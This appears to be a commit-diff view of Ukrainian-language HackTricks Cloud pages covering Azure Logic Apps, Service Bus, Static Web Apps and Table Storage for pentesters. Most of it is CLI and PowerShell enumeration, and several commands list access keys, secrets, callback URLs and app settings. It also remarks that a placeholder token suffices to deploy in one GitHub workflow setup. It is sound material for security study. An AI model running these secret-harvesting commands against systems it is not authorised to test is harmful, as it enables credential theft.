# Get details of a specific Logic App workflow, including its connections and parameters
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get details about triggers for a specific Logic App
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
|
||||
|
||||
# Get the callback URL for a specific trigger in a Logic App
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
|
||||
|
||||
# Get the history of a specific trigger in a Logic App
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
|
||||
|
||||
# List all runs of a specific Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get all actions within a specific run of a Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# List all versions of a specific Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get details of a specific version of a Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# List all Logic Apps in the specified resource group
|
||||
az logicapp list --resource-group <ResourceGroupName>
|
||||
|
||||
# Show detailed information about a specific Logic App
|
||||
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# List all application settings for a specific Logic App
|
||||
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
# List
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||
# Get info
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
|
||||
# Get Logic App config
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
|
||||
# Get service ppal used
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
# Get details of a specific Logic App workflow run action
|
||||
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
|
||||
|
||||
# Get the run history for a specific Logic App
|
||||
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||
|
||||
# Get details about triggers for a specific Logic App
|
||||
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||
|
||||
# Get the callback URL for a specific trigger in a Logic App
|
||||
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
# Get the history of a specific trigger in a Logic App
|
||||
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
|
||||
### Інтеграційні облікові записи
|
||||
**Інтеграційні облікові записи** - це функція Azure Logic Apps. Інтеграційні облікові записи використовуються для полегшення інтеграцій на рівні підприємства, забезпечуючи розширені можливості B2B, такі як EDI, AS2 та управління XML-схемами. Інтеграційні облікові записи є контейнером в Azure, який зберігає наступні артефакти, що використовуються для Logic Apps:
|
||||
|
||||
* Схеми: Управління XML-схемами для валідації та обробки повідомлень у вашому інтеграційному обліковому записі.
|
||||
* Карти: Налаштування трансформацій на основі XSLT для перетворення форматів даних у ваших інтеграційних робочих процесах.
|
||||
* Збірки: Управління збірками інтеграційного облікового запису для оптимізації логіки та обробки даних.
|
||||
* Сертифікати: Обробка сертифікатів для шифрування та підписування повідомлень, забезпечуючи безпечну комунікацію.
|
||||
* Партнери: Управління інформацією про торгових партнерів для B2B-транзакцій, що забезпечує безперебійну інтеграцію.
|
||||
* Угоди: Налаштування правил і параметрів для обміну даними з торговими партнерами (наприклад, EDI, AS2).
|
||||
* Конфігурації пакетної обробки: Управління конфігураціями пакетної обробки для групування та ефективної обробки повідомлень.
|
||||
* RosettaNet PIP: Налаштування процесів інтерфейсу партнерів RosettaNet (PIP) для стандартизації B2B-комунікації.
|
||||
|
||||
#### Перерахування
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Integration account
|
||||
az logic integration-account list --resource-group <resource-group-name>
|
||||
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
|
||||
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
|
||||
|
||||
# Batch-configuration
|
||||
az logic integration-account batch-configuration list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account-name <integration-account-name>
|
||||
|
||||
az logic integration-account batch-configuration show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account-name <integration-account-name> \
|
||||
--batch-configuration-name <batch-configuration-name>
|
||||
|
||||
# Map
|
||||
az logic integration-account map list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account map show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--map-name <map-name>
|
||||
|
||||
# Partner
|
||||
az logic integration-account partner list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account partner show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--name <partner-name>
|
||||
|
||||
# Session
|
||||
az logic integration-account session list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account session show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--name <session-name>
|
||||
|
||||
# Assembly
|
||||
# Session
|
||||
az logic integration-account assembly list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account assembly show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--assembly-artifact-name <assembly-name>
|
||||
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
# Retrieve details of an integration account
|
||||
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
|
||||
|
||||
# Retrieve the callback URL of an integration account
|
||||
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
|
||||
|
||||
# Retrieve details of a specific agreement in an integration account
|
||||
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
|
||||
|
||||
# Retrieve details of a specific assembly in an integration account
|
||||
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
|
||||
|
||||
# Retrieve details of a specific batch configuration in an integration account
|
||||
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
|
||||
|
||||
# Retrieve details of a specific certificate in an integration account
|
||||
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
|
||||
|
||||
# Retrieve details of a specific map in an integration account
|
||||
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
|
||||
|
||||
# Retrieve details of a specific partner in an integration account
|
||||
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
|
||||
|
||||
# Retrieve details of a specific schema in an integration account
|
||||
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
## Підвищення Привілеїв
|
||||
|
||||
Те ж саме, що і privesc логічних додатків:
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
|
||||
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Постексплуатація
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
|
||||
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
@@ -16,7 +16,7 @@ Azure Service Bus - це хмарна **служба обміну повідом
|
||||
- Кілька незалежних підписок отримують копії повідомлень.
|
||||
- Підписки можуть мати правила/фільтри для контролю доставки або додавання метаданих.
|
||||
- Підтримує комунікацію багато-до-багато.
|
||||
3. **Namespaces:** Контейнер для всіх компонентів обміну повідомленнями, черг і тем, подібний до вашої власної частини потужного кластера Azure, що забезпечує виділену ємність і, за бажанням, охоплює три зони доступності.
|
||||
3. **Namespaces:** Контейнер для всіх компонентів обміну повідомленнями, черг і тем, подібний до вашої власної частини потужного Azure кластера, що забезпечує виділену ємність і, за бажанням, охоплює три зони доступності.
|
||||
|
||||
### Advance Features
|
||||
|
||||
@@ -31,13 +31,13 @@ Azure Service Bus - це хмарна **служба обміну повідом
|
||||
- **Filters & Actions**: Застосовує правила для фільтрації або анотації повідомлень.
|
||||
- **Auto-Delete on Idle**: Видаляє черги після бездіяльності (мін: 5 хвилин).
|
||||
- **Duplicate Detection**: Видаляє дублікати повідомлень під час повторних відправок.
|
||||
- **Batch Deletion**: Масове видалення прострочених або непотрібних повідомлень.
|
||||
- **Batch Deletion**: Масово видаляє прострочені або непотрібні повідомлення.
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
|
||||
SAS Policies визначають дозволи доступу для сутностей Azure Service Bus, простору імен (найважливіший), черг і тем. Кожна політика має такі компоненти:
|
||||
|
||||
- **Permissions**: Прапорці для вказівки рівнів доступу:
|
||||
- **Permissions**: Прапорці для визначення рівнів доступу:
|
||||
- Manage: Надає повний контроль над сутністю, включаючи управління конфігурацією та дозволами.
|
||||
- Send: Дозволяє надсилати повідомлення до сутності.
|
||||
- Listen: Дозволяє отримувати повідомлення з сутності.
|
||||
@@ -50,6 +50,10 @@ SAS Policies визначають дозволи доступу для сутн
|
||||
sku, правило авторизації,
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -77,6 +81,58 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.ServiceBus
|
||||
|
||||
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
|
||||
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||
|
||||
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
|
||||
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
|
||||
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
|
||||
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
|
||||
|
||||
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
|
||||
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves properties and details about a Service Bus namespace.
|
||||
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||
|
||||
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
|
||||
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves private endpoint connections for a Service Bus namespace.
|
||||
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves private link resources associated with a Service Bus namespace.
|
||||
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves details of a specified queue in a Service Bus namespace.
|
||||
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
|
||||
|
||||
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
|
||||
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
|
||||
|
||||
# Retrieves details of subscriptions for a specified Service Bus topic.
|
||||
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
|
||||
|
||||
# Retrieves details of a specified topic in a Service Bus namespace.
|
||||
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
### Підвищення Привілеїв
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Static Web Apps Basic Information
|
||||
|
||||
Azure Static Web Apps - це хмарний сервіс для хостингу **статичних веб-додатків з автоматичним CI/CD з репозиторіїв, таких як GitHub**. Він пропонує глобальну доставку контенту, безсерверні бекенди та вбудований HTTPS, що робить його безпечним і масштабованим. Однак, навіть якщо сервіс називається "статичним", це не означає, що він повністю безпечний. Ризики включають неправильно налаштований CORS, недостатню аутентифікацію та підробку контенту, що може піддати додатки атакам, таким як XSS та витік даних, якщо їх не належним чином управляти.
|
||||
Azure Static Web Apps - це хмарний сервіс для хостингу **статичних веб-додатків з автоматичним CI/CD з репозиторіїв, таких як GitHub**. Він пропонує глобальну доставку контенту, безсерверні бекенди та вбудований HTTPS, що робить його безпечним і масштабованим. Однак, навіть якщо сервіс називається "статичним", це не означає, що він повністю безпечний. Ризики включають неправильно налаштований CORS, недостатню аутентифікацію та підробку контенту, що може піддати додатки атакам, таким як XSS та витік даних, якщо їх не управляти належним чином.
|
||||
|
||||
### Deployment Authentication
|
||||
|
||||
@@ -13,7 +13,7 @@ Azure Static Web Apps - це хмарний сервіс для хостингу
|
||||
|
||||
- **Токен розгортання**: Токен генерується і використовується для аутентифікації процесу розгортання. Будь-хто з **цим токеном достатньо, щоб розгорнути нову версію додатку**. **Github Action автоматично розгортається** в репозиторії з токеном у секреті для розгортання нової версії додатку щоразу, коли репозиторій оновлюється.
|
||||
- **Робочий процес GitHub Actions**: У цьому випадку дуже схожий Github Action також розгортається в репозиторії, і **токен також зберігається в секреті**. Однак, цей Github Action має відмінність, він використовує **`actions/github-script@v6`** для отримання IDToken репозиторію та використання його для розгортання додатку.
|
||||
- Навіть якщо в обох випадках використовується дія **`Azure/static-web-apps-deploy@v1`** з токеном у параметрі `azure_static_web_apps_api_token`, у цьому другому випадку випадковий токен з форматом, що є дійсним, таким як `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345`, є достатнім для розгортання додатку, оскільки авторизація здійснюється за допомогою IDToken у параметрі `github_id_token`.
|
||||
- Навіть якщо в обох випадках використовується дія **`Azure/static-web-apps-deploy@v1`** з токеном у параметрі `azure_static_web_apps_api_token`, у цьому другому випадку випадковий токен з форматом, що підходить, як `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345`, є достатнім для розгортання додатку, оскільки авторизація здійснюється за допомогою IDToken у параметрі `github_id_token`.
|
||||
|
||||
### Web App Basic Authentication
|
||||
|
||||
@@ -62,20 +62,24 @@ az rest --method GET \
|
||||
}
|
||||
}
|
||||
```
|
||||
Зверніть увагу, як можна **захистити шлях за допомогою ролі**, тоді користувачам потрібно буде автентифікуватися в додатку та отримати цю роль для доступу до шляху. Також можливо **створити запрошення**, надаючи конкретні ролі конкретним користувачам, які входять через EntraID, Facebook, GitHub, Google, Twitter, що може бути корисним для ескалації привілеїв у додатку.
|
||||
Зверніть увагу, що можливо **захистити шлях за допомогою ролі**, тоді користувачам потрібно буде автентифікуватися в додатку та отримати цю роль для доступу до шляху. Також можливо **створити запрошення**, надаючи конкретні ролі конкретним користувачам, які входять через EntraID, Facebook, GitHub, Google, Twitter, що може бути корисним для ескалації привілеїв у додатку.
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що можливо налаштувати додаток так, щоб **зміни у файлі `staticwebapp.config.json`** не приймалися. У цьому випадку може бути недостатньо просто змінити файл з Github, але також потрібно **змінити налаштування в додатку**.
|
||||
|
||||
URL для стадії має цей формат: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>`, наприклад: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
URL для стадії має такий формат: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>`, наприклад: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
### Керовані ідентичності
|
||||
|
||||
Azure Static Web Apps можна налаштувати для використання **керованих ідентичностей**, однак, як зазначено в [цьому FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-), вони підтримуються лише для **витягування секретів з Azure Key Vault для цілей автентифікації, а не для доступу до інших ресурсів Azure**.
|
||||
Azure Static Web Apps можна налаштувати для використання **керованих ідентичностей**, однак, як згадано в [цьому FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-), вони підтримуються лише для **витягування секретів з Azure Key Vault для цілей автентифікації, а не для доступу до інших ресурсів Azure**.
|
||||
|
||||
Для отримання додаткової інформації ви можете знайти посібник Azure про використання секрету сховища в статичному додатку за адресою https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
|
||||
|
||||
## Перерахування
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
@@ -107,12 +111,65 @@ az rest --method POST \
|
||||
# Check connected backends
|
||||
az staticwebapp backends show --name <name> --resource-group <res-group>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.Websites
|
||||
|
||||
# Retrieves details of a specific Static Web App in the specified resource group.
|
||||
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the build details for a specific Static Web App.
|
||||
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the application settings for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves functions for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves function app settings for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves the configured roles for a Static Web App.
|
||||
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the custom domains configured for a Static Web App.
|
||||
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves details of the functions associated with a Static Web App.
|
||||
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the app settings for the function app associated with a Static Web App.
|
||||
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the secrets for a Static Web App.
|
||||
Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves general app settings for a Static Web App.
|
||||
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves user details for a Static Web App with a specified authentication provider.
|
||||
Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
|
||||
|
||||
# Retrieves user-provided function apps associated with a Static Web App.
|
||||
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
## Приклади для створення веб-додатків
|
||||
|
||||
Ви можете знайти гарний приклад для створення веб-додатку за наступним посиланням: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. Зробіть форк репозиторію https://github.com/staticwebdev/react-basic/generate у вашому обліковому записі GitHub і назвіть його `my-first-static-web-app`
|
||||
2. У порталі Azure створіть Static Web App, налаштувавши доступ до Github і вибравши раніше форкнутий новий репозиторій
|
||||
2. У порталі Azure створіть Static Web App, налаштувавши доступ до GitHub і вибравши раніше форкнутий новий репозиторій
|
||||
3. Створіть його, почекайте кілька хвилин і перевірте вашу нову сторінку!
|
||||
|
||||
## Підвищення привілеїв та постексплуатація
|
||||
|
||||
@@ -69,6 +69,8 @@ Get-AzStorageAccount
|
||||
|
||||
# List tables
|
||||
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
|
||||
|
||||
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
@@ -80,7 +82,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
|
||||
> Використовуйте параметр `--account-key`, щоб вказати ключ облікового запису для використання\
|
||||
> Використовуйте параметр `--sas-token` з SAS токеном для доступу через SAS токен
|
||||
|
||||
## Привілейоване підвищення
|
||||
## Підвищення привілеїв
|
||||
|
||||
Так само, як і з підвищенням привілеїв зберігання:
|
||||
|
||||
@@ -88,7 +90,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Після експлуатації
|
||||
## Постексплуатація
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-table-storage-post-exploitation.md
|
||||
|
||||
Reference in New Issue
Block a user